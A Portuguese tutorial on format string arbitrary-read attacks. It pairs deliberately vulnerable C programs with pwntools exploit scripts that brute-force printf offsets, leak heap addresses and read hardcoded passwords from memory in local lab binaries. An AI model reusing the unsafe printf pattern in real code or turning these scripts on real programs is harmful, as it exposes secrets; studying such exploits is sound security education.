Format Strings - Arbitrary Read Example

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Código

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Compile-o com:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

• O offset é 11 porque definir vários As e brute-forcing com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes | no nosso caso), é possível controlar um endereço completo.

• Eu usei %11$p com preenchimento até que o endereço fosse todo 0x4141414141414141

• O payload da string de formato está ANTES do endereço porque o printf para de ler em um byte nulo, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes

• O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)

Ler senhas

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Compile-o com:

clang -o fs-read fs-read.c -Wno-format-security

Ler do stack

A stack_password será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Na imagem, é possível ver que podemos vazar a senha da pilha na 10ª posição:

Ler dados

Executando o mesmo exploit, mas com %p em vez de %s, é possível vazar um endereço da heap da pilha em %25$p. Além disso, comparando o endereço vazado (0xaaaab7030894) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:

Agora é hora de descobrir como controlar 1 endereço na pilha para acessá-lo a partir da segunda vulnerabilidade de string de formato:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

E é possível ver que no try 14 com o passing utilizado podemos controlar um endereço:

Exploit

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

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